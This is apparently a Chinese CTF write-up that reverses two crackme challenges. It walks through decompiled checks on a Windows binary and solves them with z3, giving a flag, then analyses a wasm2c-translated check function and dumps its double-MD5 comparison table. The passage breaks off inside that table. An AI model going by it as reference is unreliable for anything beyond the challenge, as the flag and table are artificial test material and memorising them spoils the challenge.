strcpy((char *)v130, "ØÞÈßÍ");
v15 = 0;
v16 = v120;
if ( !v120 )
goto LABEL_154;
v17 = 0i64;
v18 = v121;
v19 = (void **)v119[0];
do
{
v20 = v119;
if ( v18 >= 0x10 )
v20 = v19;
if ( (*((_BYTE *)v20 + v17) ^ 0xAB) != *((_BYTE *)v130 + v17) )
{
Sleep(0xD4A51000);
_exit(0);
}
v21 = v119;
if ( v18 >= 0x10 )
v21 = v19;
printf("%c", (unsigned int)*((char *)v21 + v17));
++v15;
++v17;
}
while ( v15 < v16 );
输入xor0xab并和v130比较
动调一下sub_140002690,功能是去除前导a3字符并将结果放入a1。v16中就是去掉前导后的长度,后面有个验证长度是5
计算xor后的结果,第一阶段是11111suctf
这里验证第二段长度
if ( Size != 4 )
goto FAILED;
字符集必须是abcdefg
或ABCDEFG
v23 = (char *)Buf1;
if ( v126 >= 0x10 )
v23 = (char *)Buf1[0];
v24 = v23 + 4;
v25 = Buf1;
if ( v126 >= 0x10 )
v25 = (void **)Buf1[0];
if ( v25 != (void **)v24 )
{
while ( (unsigned __int8)(*(_BYTE *)v25 - 97) <= 6u || (unsigned __int8)(*(_BYTE *)v25 - 65) <= 6u )
{
v25 = (void **)((char *)v25 + 1);
if ( v25 == (void **)v24 )
goto LABEL_51;
}
goto FAILED;
}
继续调试,这里将小写转化为大写
if ( v104 >= 0x10 )
v29 = *(void ***)Buf2;
v32 = (void **)((char *)v29 + v103);
v33 = (void **)Buf2;
if ( v104 >= 0x10 )
v33 = *(void ***)Buf2;
v34 = v33;
v35 = (_BYTE *)((char *)v32 - (char *)v33);
if ( v33 > v32 )
v35 = 0i64;
if ( v35 )
{
v36 = v33;
v37 = v35;
do
{
v38 = *(_BYTE *)v34;
v39 = sub_1400023D0(&v81, v27, v32, v28);
*(_BYTE *)v34 = std::ctype<char>::toupper(v39, v38);
v34 = (void **)((char *)v34 + 1);
}
while ( (_BYTE *)((char *)v34 - (char *)v36) != v37 );
v31 = v104;
v30 = *(void ***)Buf2;
v28 = v82;
v18 = v121;
}
继续向下,这里判断转换之后的和转换之前的,则转换之前就得是大写
if ( Size == v103 && !memcmp(v42, v41, Size) )
并且下面这段
v44 = 0;
if ( v43 != 1 )
{
v45 = 0i64;
do
{
v46 = (void **)Buf2;
if ( v31 >= 0x10 )
v46 = v30;
v47 = (void **)Buf2;
if ( v31 >= 0x10 )
v47 = v30;
if ( *((char *)v46 + v45) + 2 != *((char *)v47 + v45 + 1) )
v22 = 1;
++v44;
++v45;
}
while ( v44 < (unsigned __int64)(v43 - 1) );
v18 = v121;
}
输入必须是2递增的等差序列,则ABCDEFG
中只能是ACEG
第三段长度不能大于10
if ( v128 >= 0xA )
{
v51 = v101;
LABEL_108:
v60 = 0;
goto LABEL_109;
}
sub_1400023D0()+3获取了一个表
debug015:00000000004BEB60 dw 20h, 20h, 20h, 20h, 20h, 20h, 20h, 20h, 20h, 28h, 28h, 28h, 28h, 28h
debug015:00000000004BEB60 dw 20h, 20h, 20h, 20h, 20h, 20h, 20h, 20h, 20h, 20h, 20h, 20h, 20h, 20h
debug015:00000000004BEB60 dw 20h, 20h, 20h, 20h, 48h, 10h, 10h, 10h, 10h, 10h, 10h, 10h, 10h, 10h
debug015:00000000004BEB60 dw 10h, 10h, 10h, 10h, 10h, 10h, 84h, 84h, 84h, 84h, 84h, 84h, 84h, 84h
debug015:00000000004BEB60 dw 84h, 84h, 10h, 10h, 10h, 10h, 10h, 10h, 10h, 81h, 81h, 81h, 81h, 81h
debug015:00000000004BEB60 dw 81h, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 10h
debug015:00000000004BEB60 dw 10h, 10h, 10h, 10h, 10h, 82h, 82h, 82h, 82h, 82h, 82h, 2, 2, 2, 2, 2
debug015:00000000004BEB60 dw 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 10h, 10h, 10h, 10h, 20h
debug015:00000000004BEB60 dw 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
debug015:00000000004BEB60 dw 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
debug015:00000000004BEB60 dw 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
debug015:00000000004BEB60 dw 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
debug015:00000000004BEB60 dw 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
debug015:00000000004BEB60 dw 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
此处获得的表tab,以输入的字符c为下标,判断了tab[c]&len(input3)!=0
if ( v52 != (__int64 *)((char *)v51 + v124) )
{
while ( 1 )
{
v53 = *(unsigned __int8 *)v52;
v54 = *(_WORD *)Buf2;
if ( (v54 & *(_WORD *)(*((_QWORD *)sub_1400023D0((__int64)&Buf2[8]) + 3) + 2 * v53)) == 0 )
break;
v52 = (__int64 *)((char *)v52 + 1);
if ( v52 == v73 )
goto LABEL_100;
}
if ( v99 )
{
v57 = (void (__fastcall ***)(_QWORD, __int64))(*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v99 + 16i64))(v99);
if ( v57 )
(**v57)(v57, 1i64);
}
goto LABEL_108;
}
大概看一下表,只能是0x84&4!=0,且根据下标,输入为[0-9]
计算了一个输入的checksum,可以通过穷举得到
if ( v125 >= 0x10 )
v59 = (__int64 *)v123[0];
v60 = v59;
v61 = v123;
if ( v125 >= 0x10 )
v61 = (__int64 *)v123[0];
v62 = (char *)v61 + v124 - (char *)v59;
if ( v59 > (__int64 *)((char *)v61 + v124) )
v62 = 0i64;
if ( v62 )
{
do
{
v3 = *(char *)v60 + 2 * (5 * v3 - 24);
v60 = (__int64 *)((char *)v60 + 1);
}
while ( (char *)v60 - (char *)v59 != v62 );
}
最后验证了一个约束
if ( (v3 & 1) == 0
&& (((int)(1234 * v3 + 5678) / 4396) ^ 0xABCDDCBA) == 0xABCDB8B9
&& (((int)(2334 * v3 + 9875) / 7777) ^ 0x12336790) == 0x1233FC70 )
z3跑一跑
from z3 import *
x=BitVec('x',32)
s=Solver()
s.add((((1234 * x + 5678) / 4396) ^ 0xABCDDCBA) == 0xABCDB8B9)
s.add((((2334 * x + 9875) / 7777) ^ 0x12336790) == 0x1233FC70)
s.add(x&1==0)
if s.check()==sat:
print(s.model())
最终flag为suctf{ACEG31415926}
需要将dynlib改为333333 https://blog.csdn.net/qq_35623926/article/details/122071158
然后wasm2c就可以顺利分析了
https://blog.csdn.net/qq_33438733/article/details/81613223
找到check函数开始读
w2c_l3 = w2c_i0;
w2c_i1 = (*Z_envZ_memoryBase);
w2c_i2 = 1616u;
w2c_i1 += w2c_i2;
w2c_i1 = i32_load(Z_envZ_memory, (u64)(w2c_i1));
i32_store(Z_envZ_memory, (u64)(w2c_i0), w2c_i1);
这里从Z_envZ_memoryBase+1616偏移处读取了一个int32,存储到l3指向的地方
static void init_memory(void) {
LOAD_DATA((*Z_envZ_memory), (*Z_envZ_memoryBase), data_segment_data_0, 1648);
}
这句话实际上就是把data_segment_data_0设置为Z_envZ_memoryBase,所以可以去找data_segment_data_0+1616的数据
[50, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51]
继续向下看,这种操作进行了9次,也就是把上面数组的数据放在l3指向的地方
w2c_i0 = w2c_l3;
w2c_i1 = 31u;
w2c_i0 += w2c_i1;
w2c_l11 = w2c_i0;
w2c_i0 = w2c_l11;
w2c_i1 = w2c_p0;
w2c_i2 = w2c_l9;
w2c_i1 += w2c_i2;
w2c_i1 = i32_load8_s(Z_envZ_memory, (u64)(w2c_i1));
i32_store8(Z_envZ_memory, (u64)(w2c_i0), w2c_i1);
w2c_i0 = w2c_l3;
w2c_i1 = 32u;
w2c_i2 = w2c_l8;
w2c__md5(w2c_i0, w2c_i1, w2c_i2);
读取输入的一个字符,存储到上面读取串的末尾,并md5。存储的位置应该是i2,溯源得到是g0/l9
w2c_L3:
w2c_i0 = w2c_l1;
w2c_i1 = w2c_l4;
w2c_i2 = 1u;
w2c_i1 <<= (w2c_i2 & 31);
w2c_l6 = w2c_i1;
w2c_i0 += w2c_i1;
w2c_i1 = w2c_l8;
w2c_i2 = w2c_l4;
w2c_i1 += w2c_i2;
w2c_i1 = i32_load8_s(Z_envZ_memory, (u64)(w2c_i1));
w2c_l5 = w2c_i1;
w2c_i2 = 255u;
w2c_i1 &= w2c_i2;
w2c_i2 = 4u;
w2c_i1 >>= (w2c_i2 & 31);
w2c_l10 = w2c_i1;
w2c_i2 = 48u;
w2c_i1 |= w2c_i2;
w2c_i2 = w2c_l10;
w2c_i3 = 87u;
w2c_i2 += w2c_i3;
w2c_i3 = w2c_l5;
w2c_i4 = 255u;
w2c_i3 &= w2c_i4;
w2c_i4 = 160u;
w2c_i3 = (u32)((s32)w2c_i3 < (s32)w2c_i4);
w2c_i1 = w2c_i3 ? w2c_i1 : w2c_i2;
i32_store8(Z_envZ_memory, (u64)(w2c_i0), w2c_i1);
w2c_i0 = w2c_l1;
w2c_i1 = w2c_l6;
w2c_i2 = 1u;
w2c_i1 |= w2c_i2;
w2c_i0 += w2c_i1;
w2c_i1 = w2c_l5;
w2c_i2 = 15u;
w2c_i1 &= w2c_i2;
w2c_l5 = w2c_i1;
w2c_l6 = w2c_i1;
w2c_i2 = 48u;
w2c_i1 |= w2c_i2;
w2c_i2 = w2c_l6;
w2c_i3 = 87u;
w2c_i2 += w2c_i3;
w2c_i3 = w2c_l5;
w2c_i4 = 10u;
w2c_i3 = (u32)((s32)w2c_i3 < (s32)w2c_i4);
w2c_i1 = w2c_i3 ? w2c_i1 : w2c_i2;
i32_store8(Z_envZ_memory, (u64)(w2c_i0), w2c_i1);
w2c_i0 = w2c_l4;
w2c_i1 = 1u;
w2c_i0 += w2c_i1;
w2c_l4 = w2c_i0;
w2c_i1 = 16u;
w2c_i0 = w2c_i0 != w2c_i1;
if (w2c_i0) {goto w2c_L3;}
这个循环将字节转化为小写十六进制
w2c_i0 = w2c_l1;
w2c_i1 = 32u;
w2c_i2 = w2c_l8;
w2c__md5(w2c_i0, w2c_i1, w2c_i2);
w2c_i0 = 0u;
w2c_l4 = w2c_i0;
第二个md5对十六进制进行md5
依然是转成十六进制
w2c_L4:
w2c_i0 = w2c_l2;
w2c_i1 = w2c_l4;
w2c_i2 = 1u;
w2c_i1 <<= (w2c_i2 & 31);
w2c_l6 = w2c_i1;
w2c_i0 += w2c_i1;
w2c_i1 = w2c_l8;
w2c_i2 = w2c_l4;
w2c_i1 += w2c_i2;
w2c_i1 = i32_load8_s(Z_envZ_memory, (u64)(w2c_i1));
w2c_l5 = w2c_i1;
w2c_i2 = 255u;
w2c_i1 &= w2c_i2;
w2c_i2 = 4u;
w2c_i1 >>= (w2c_i2 & 31);
w2c_l10 = w2c_i1;
w2c_i2 = 48u;
w2c_i1 |= w2c_i2;
w2c_i2 = w2c_l10;
w2c_i3 = 87u;
w2c_i2 += w2c_i3;
w2c_i3 = w2c_l5;
w2c_i4 = 255u;
w2c_i3 &= w2c_i4;
w2c_i4 = 160u;
w2c_i3 = (u32)((s32)w2c_i3 < (s32)w2c_i4);
w2c_i1 = w2c_i3 ? w2c_i1 : w2c_i2;
i32_store8(Z_envZ_memory, (u64)(w2c_i0), w2c_i1);
w2c_i0 = w2c_l2;
w2c_i1 = w2c_l6;
w2c_i2 = 1u;
w2c_i1 |= w2c_i2;
w2c_i0 += w2c_i1;
w2c_i1 = w2c_l5;
w2c_i2 = 15u;
w2c_i1 &= w2c_i2;
w2c_l5 = w2c_i1;
w2c_l6 = w2c_i1;
w2c_i2 = 48u;
w2c_i1 |= w2c_i2;
w2c_i2 = w2c_l6;
w2c_i3 = 87u;
w2c_i2 += w2c_i3;
w2c_i3 = w2c_l5;
w2c_i4 = 10u;
w2c_i3 = (u32)((s32)w2c_i3 < (s32)w2c_i4);
w2c_i1 = w2c_i3 ? w2c_i1 : w2c_i2;
i32_store8(Z_envZ_memory, (u64)(w2c_i0), w2c_i1);
w2c_i0 = w2c_l4;
w2c_i1 = 1u;
w2c_i0 += w2c_i1;
w2c_l4 = w2c_i0;
w2c_i1 = 16u;
w2c_i0 = w2c_i0 != w2c_i1;
if (w2c_i0) {goto w2c_L4;}
和memorybase+33*i进行比较
w2c_i0 = w2c_l2;
w2c_i1 = (*Z_envZ_memoryBase);
w2c_i2 = w2c_l9;
w2c_i3 = 33u;
w2c_i2 *= w2c_i3;
w2c_i1 += w2c_i2;
w2c_i2 = 32u;
w2c_i0 = w2c__memcmp(w2c_i0, w2c_i1, w2c_i2);
穷举md5即可
a = [0x35, 0x36, 0x32, 0x66, 0x65, 0x33, 0x63, 0x63, 0x35, 0x30, 0x30, 0x31,
0x34, 0x63, 0x32, 0x36, 0x30, 0x64, 0x39, 0x65, 0x38, 0x63, 0x66, 0x34,
0x65, 0x64, 0x33, 0x38, 0x63, 0x37, 0x37, 0x61, 0x00, 0x63, 0x30, 0x32,
0x32, 0x61, 0x64, 0x30, 0x63, 0x63, 0x30, 0x30, 0x37, 0x35, 0x61, 0x39,
0x61, 0x62, 0x31, 0x34, 0x62, 0x34, 0x31, 0x32, 0x61, 0x31, 0x30, 0x38,
0x32, 0x64, 0x35, 0x66, 0x33, 0x00, 0x36, 0x34, 0x63, 0x32, 0x38, 0x36,
0x63, 0x66, 0x63, 0x36, 0x32, 0x33, 0x61, 0x61, 0x38, 0x64, 0x37, 0x64,
0x66, 0x37, 0x63, 0x30, 0x38, 0x38, 0x65, 0x62, 0x66, 0x37, 0x64, 0x37,
0x31, 0x38, 0x00, 0x38, 0x33, 0x36, 0x36, 0x34, 0x62, 0x64, 0x65, 0x65,
0x34, 0x62, 0x36, 0x31, 0x33, 0x62, 0x37, 0x65, 0x37, 0x61, 0x35, 0x31,
0x62, 0x35, 0x32, 0x31, 0x33, 0x34, 0x37, 0x30, 0x61, 0x38, 0x64, 0x00,
0x62, 0x30, 0x32, 0x30, 0x62, 0x66, 0x35, 0x39, 0x38, 0x61, 0x61, 0x61,
0x32, 0x62, 0x33, 0x65, 0x30, 0x33, 0x65, 0x64, 0x30, 0x32, 0x63, 0x38,
0x35, 0x34, 0x33, 0x36, 0x32, 0x36, 0x38, 0x61, 0x00, 0x34, 0x66, 0x64,
0x61, 0x63, 0x35, 0x61, 0x63, 0x38, 0x30, 0x37, 0x35, 0x30, 0x36, 0x39,
0x33, 0x38, 0x31, 0x30, 0x33, 0x65, 0x37, 0x37, 0x35, 0x63, 0x35, 0x30,
0x30, 0x39, 0x39, 0x65, 0x64, 0x00, 0x34, 0x66, 0x64, 0x61, 0x63, 0x35,
0x61, 0x63, 0x38, 0x30, 0x37, 0x35, 0x30, 0x36, 0x39, 0x33, 0x38, 0x31,
0x30, 0x33, 0x65, 0x37, 0x37, 0x35, 0x63, 0x35, 0x30, 0x30, 0x39, 0x39,
0x65, 0x64, 0x00, 0x63, 0x32, 0x33, 0x31, 0x64, 0x36, 0x30, 0x37, 0x62,
0x36, 0x38, 0x32, 0x33, 0x66, 0x64, 0x30, 0x61, 0x36, 0x38, 0x65, 0x38,
0x31, 0x33, 0x37, 0x36, 0x30, 0x38, 0x30, 0x39, 0x37, 0x35, 0x34, 0x00,
0x64, 0x31, 0x36, 0x38, 0x63, 0x32, 0x31, 0x64, 0x31, 0x30, 0x33, 0x37,
0x31, 0x61, 0x35, 0x61, 0x62, 0x36, 0x31, 0x62, 0x63, 0x66, 0x65, 0x36,
0x63, 0x37, 0x35, 0x39, 0x65, 0x66, 0x36, 0x65, 0x00, 0x66, 0x36, 0x30,
0x64, 0x37, 0x30, 0x39, 0x63, 0x63, 0x66, 0x39, 0x38, 0x39, 0x64, 0x38,
0x34, 0x39, 0x30, 0x32, 0x38, 0x66, 0x39, 0x37, 0x61, 0x30, 0x33, 0x64,
0x32, 0x66, 0x33, 0x62, 0x61, 0x00, 0x61, 0x30, 0x31, 0x38, 0x34, 0x66,
0x38, 0x32, 0x34, 0x30, 0x65, 0x32, 0x66, 0x65, 0x34, 0x36, 0x38, 0x36,
0x31, 0x64, 0x63, 0x38, 0x64, 0x31, 0x35, 0x61, 0x38, 0x31, 0x39, 0x63,
0x62, 0x30, 0x00, 0x39, 0x64, 0x62, 0x65, 0x63, 0x34, 0x31, 0x34, 0x33,
0x33, 0x36, 0x65, 0x37, 0x34, 0x31, 0x65, 0x39, 0x63, 0x37, 0x33, 0x34,
0x32, 0x32, 0x64, 0x66, 0x35, 0x39, 0x64, 0x65, 0x32, 0x39, 0x37, 0x00,
0x36, 0x66, 0x62, 0x35, 0x32, 0x30, 0x39, 0x64, 0x38, 0x66, 0x63, 0x38,
0x62, 0x62, 0x38, 0x35, 0x30, 0x37, 0x32, 0x34, 0x35, 0x62, 0x63, 0x66,
0x61, 0x32, 0x34, 0x61, 0x65, 0x31, 0x31, 0x66, 0x00, 0x36, 0x66, 0x62,
0x35, 0x32, 0x30, 0x39, 0x64, 0x38, 0x66, 0x63, 0x38, 0x62, 0x62, 0x38,
0x35, 0x30, 0x37, 0x32, 0x34, 0x35, 0x62, 0x63, 0x66, 0x61, 0x32, 0x34,
0x61, 0x65, 0x31, 0x31, 0x66, 0x00, 0x30, 0x30, 0x63, 0x37, 0x37, 0x66,
0x62, 0x63, 0x36, 0x30, 0x61, 0x35, 0x62, 0x66, 0x63, 0x34, 0x36, 0x36,
0x64, 0x33, 0x64, 0x30, 0x36, 0x39, 0x38, 0x37, 0x36, 0x65, 0x63, 0x33,
0x34, 0x38, 0x00, 0x30, 0x30, 0x63, 0x37, 0x37, 0x66, 0x62, 0x63, 0x36,
0x30, 0x61, 0x35, 0x62, 0x66, 0x63, 0x34, 0x36, 0x36, 0x64, 0x33, 0x64,
0x30, 0x36, 0x39, 0x38, 0x37, 0x36, 0x65, 0x63, 0x33, 0x34, 0x38, 0x00,
0x64, 0x66, 0x33, 0x33, 0x34, 0x36, 0x34, 0x66, 0x62, 0x34, 0x37, 0x31,
0x63, 0x34, 0x36, 0x61, 0x62, 0x61, 0x66, 0x36, 0x39, 0x31, 0x63, 0x30,
0x30, 0x30, 0x61, 0x30, 0x65, 0x33, 0x30, 0x64, 0x00, 0x34, 0x66, 0x64,
0x61, 0x63, 0x35, 0x61, 0x63, 0x38, 0x30, 0x37, 0x35, 0x30, 0x36, 0x39,
0x33, 0x38, 0x31, 0x30, 0x33, 0x65, 0x37, 0x37, 0x35, 0x63, 0x35, 0x30,
0x30, 0x39, 0x39, 0x65, 0x64, 0x00, 0x66, 0x36, 0x30, 0x64, 0x37, 0x30,
0x39, 0x63, 0x63, 0x66, 0x39, 0x38, 0x39, 0x64, 0x38, 0x34, 0x39, 0x30,
0x32, 0x38, 0x66, 0x39, 0x37, 0x61, 0x30, 0x33, 0x64, 0x32, 0x66, 0x33,
0x62, 0x61, 0x00, 0x66, 0x63, 0x63, 0x39, 0x34, 0x61, 0x32, 0x30, 0x35,
0x39, 0x36, 0x66, 0x32, 0x36, 0x31, 0x39, 0x38, 0x36, 0x38, 0x66, 0x33,
0x61, 0x34, 0x62, 0x66, 0x35, 0x32, 0x65, 0x61, 0x64, 0x66, 0x37, 0x00,
0x30, 0x30, 0x63, 0x37, 0x37, 0x66, 0x62, 0x63, 0x36, 0x30, 0x61, 0x35,
0x62, 0x66, 0x63, 0x34, 0x36, 0x36, 0x64, 0x33, 0x64, 0x30, 0x36, 0x39,
0x38, 0x37, 0x36, 0x65, 0x63, 0x33, 0x34, 0x38, 0x00, 0x64, 0x31, 0x36,
0x38, 0x63, 0x32, 0x31, 0x64, 0x31, 0x30, 0x33, 0x37, 0x31, 0x61, 0x35,
0x61, 0x62, 0x36, 0x31, 0x62, 0x63, 0x66, 0x65, 0x36, 0x63, 0x37, 0x35,
0x39, 0x65, 0x66, 0x36, 0x65, 0x00, 0x39, 0x64, 0x62, 0x65, 0x63, 0x34,
0x31, 0x34, 0x33, 0x33, 0x36, 0x65, 0x37, 0x34, 0x31, 0x65, 0x39, 0x63,
0x37, 0x33, 0x34, 0x32, 0x32, 0x64, 0x66, 0x35, 0x39, 0x64, 0x65, 0x32,
0x39, 0x37, 0x00, 0x66, 0x63, 0x63, 0x39, 0x34, 0x61, 0x32, 0x30, 0x35,
0x39, 0x36, 0x66, 0x32, 0x36, 0x31, 0x39, 0x38, 0x36, 0x38, 0x66, 0x33,
0x61, 0x34, 0x62, 0x66, 0x35, 0x32, 0x65, 0x61, 0x64, 0x66, 0x37, 0x00,
0x39, 0x62, 0x33, 0x37, 0x64, 0x62, 0x30, 0x39, 0x31, 0x39, 0x37, 0x39,
0x62, 0x65, 0x64, 0x66, 0x30, 0x30, 0x61, 0x37, 0x30, 0x39, 0x35, 0x38,
0x35, 0x31, 0x62, 0x61, 0x36, 0x66, 0x35, 0x39, 0x00, 0x30, 0x30, 0x63,
0x37, 0x37, 0x66, 0x62, 0x63, 0x36, 0x30, 0x61, 0x35, 0x62, 0x66, 0x63,
0x34, 0x36, 0x36, 0x64, 0x33, 0x64, 0x30, 0x36, 0x39, 0x38, 0x37, 0x36,
0x65, 0x63, 0x33, 0x34, 0x38, 0x00, 0x66, 0x36, 0x30, 0x64, 0x37, 0x30,
0x39, 0x63, 0x63, 0x66, 0x39, 0x38, 0x39, 0x64, 0x38, 0x34, 0x39, 0x30,
0x32, 0x38, 0x66, 0x39, 0x37, 0x61, 0x30, 0x33, 0x64, 0x32, 0x66, 0x33,
0x62, 0x61, 0x00, 0x66, 0x63, 0x63, 0x39, 0x34, 0x61, 0x32, 0x30, 0x35,
0x39, 0x36, 0x66, 0x32, 0x36, 0x31, 0x39, 0x38, 0x36, 0x38, 0x66, 0x33,
0x61, 0x34, 0x62, 0x66, 0x35, 0x32, 0x65, 0x61, 0x64, 0x66, 0x37, 0x00,
0x64, 0x31, 0x36, 0x38, 0x63, 0x32, 0x31, 0x64, 0x31, 0x30, 0x33, 0x37,
0x31, 0x61, 0x35, 0x61, 0x62, 0x36, 0x31, 0x62, 0x63, 0x66, 0x65, 0x36,
0x63, 0x37, 0x35, 0x39, 0x65, 0x66, 0x36, 0x65, 0x00, 0x66, 0x36, 0x30,
0x64, 0x37, 0x30, 0x39, 0x63, 0x63, 0x66, 0x39, 0x38, 0x39, 0x64, 0x38,
0x34, 0x39, 0x30, 0x32, 0x38, 0x66, 0x39, 0x37, 0x61, 0x30, 0x33, 0x64,
0x32, 0x66, 0x33, 0x62, 0x61, 0x00, 0x31, 0x38, 0x33, 0x33, 0x34, 0x32,
0x39, 0x39, 0x37, 0x66, 0x66, 0x65, 0x64, 0x34, 0x62, 0x33, 0x31, 0x38,
0x39, 0x65, 0x39, 0x37, 0x37, 0x64, 0x30, 0x37, 0x37, 0x61, 0x36, 0x30,
0x62, 0x34, 0x00, 0x66, 0x34, 0x30, 0x34, 0x61, 0x33, 0x33, 0x36, 0x38,
0x64, 0x32, 0x64, 0x38, 0x66, 0x35, 0x37, 0x34, 0x36, 0x34, 0x66, 0x37,
0x33, 0x39, 0x64, 0x34, 0x65, 0x64, 0x30, 0x31, 0x63, 0x30, 0x65, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x78, 0xa4, 0x6a, 0xd7, 0x56, 0xb7, 0xc7, 0xe8, 0xdb, 0x70, 0x20, 0x24,
0xee, 0xce, 0xbd, 0xc1, 0xaf, 0x0f, 0x7c, 0xf5, 0x2a, 0xc6, 0x87, 0x47,
0x13, 0x46, 0x30, 0xa8, 0x01, 0x95, 0x46, 0xfd, 0xd8, 0x98, 0x80, 0x69,
0xaf, 0xf7, 0x44, 0x8b, 0xb1, 0x5b, 0xff, 0xff, 0xbe, 0xd7, 0x5c, 0x89,
0x22, 0x11, 0x90, 0x6b, 0x93, 0x71, 0x98, 0xfd, 0x8e, 0x43, 0x79, 0xa6,
0x21, 0x08, 0xb4, 0x49, 0x62, 0x25, 0x1e, 0xf6, 0x40, 0xb3, 0x40, 0xc0,
0x51, 0x5a, 0x5e, 0x26, 0xaa, 0xc7, 0xb6, 0xe9, 0x5d, 0x10, 0x2f, 0xd6,
0x53, 0x14, 0x44, 0x02, 0x81, 0xe6, 0xa1, 0xd8, 0xc8, 0xfb, 0xd3, 0xe7,
0xe6, 0xcd, 0xe1, 0x21, 0xd6, 0x07, 0x37, 0xc3, 0x87, 0x0d, 0xd5, 0xf4,
0xed, 0x14, 0x5a, 0x45, 0x05, 0xe9, 0xe3, 0xa9, 0xf8, 0xa3, 0xef, 0xfc,
0xd9, 0x02, 0x6f, 0x67, 0x8a, 0x4c, 0x2a, 0x8d, 0x42, 0x39, 0xfa, 0xff,
0x81, 0xf6, 0x71, 0x87, 0x22, 0x61, 0x9d, 0x6d, 0x0c, 0x38, 0xe5, 0xfd,
0x44, 0xea, 0xbe, 0xa4, 0xa9, 0xcf, 0xde, 0x4b, 0x60, 0x4b, 0xbb, 0xf6,
0x70, 0xbc, 0xbf, 0xbe, 0xc6, 0x7e, 0x9b, 0x28, 0xfa, 0x27, 0xa1, 0xea,
0x85, 0x30, 0xef, 0xd4, 0x05, 0x1d, 0x88, 0x04, 0x39, 0xd0, 0xd4, 0xd9,
0xe5, 0x99, 0xdb, 0xe6, 0xf8, 0x7c, 0xa2, 0x1f, 0x65, 0x56, 0xac, 0xc4,
0x44, 0x22, 0x29, 0xf4, 0x97, 0xff, 0x2a, 0x43, 0xa7, 0x23, 0x94, 0xab,
0x39, 0xa0, 0x93, 0xfc, 0xc3, 0x59, 0x5b, 0x65, 0x92, 0xcc, 0x0c, 0x8f,
0x7d, 0xf4, 0xef, 0xff, 0xd1, 0x5d, 0x84, 0x85, 0x4f, 0x7e, 0xa8, 0x6f,
0xe0, 0xe6, 0x2c, 0xfe, 0x14, 0x43, 0x01, 0xa3, 0xa1, 0x11, 0x08, 0x4e,
0x82, 0x7e, 0x53, 0xf7, 0x35, 0xf2, 0x3a, 0xbd, 0xbb, 0xd2, 0xd7, 0x2a,
0x91, 0xd3, 0x86, 0xeb, 0x07, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00,
0x11, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x0c, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00,
0x07, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00,
0x16, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00,
0x11, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x09, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00,
0x05, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00,
0x14, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
0x0e, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x09, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x17, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x0b, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x17, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00,
0x0f, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
0x0a, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00,
0x15, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00,
0x0f, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x32, 0x33, 0x33, 0x33,
0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
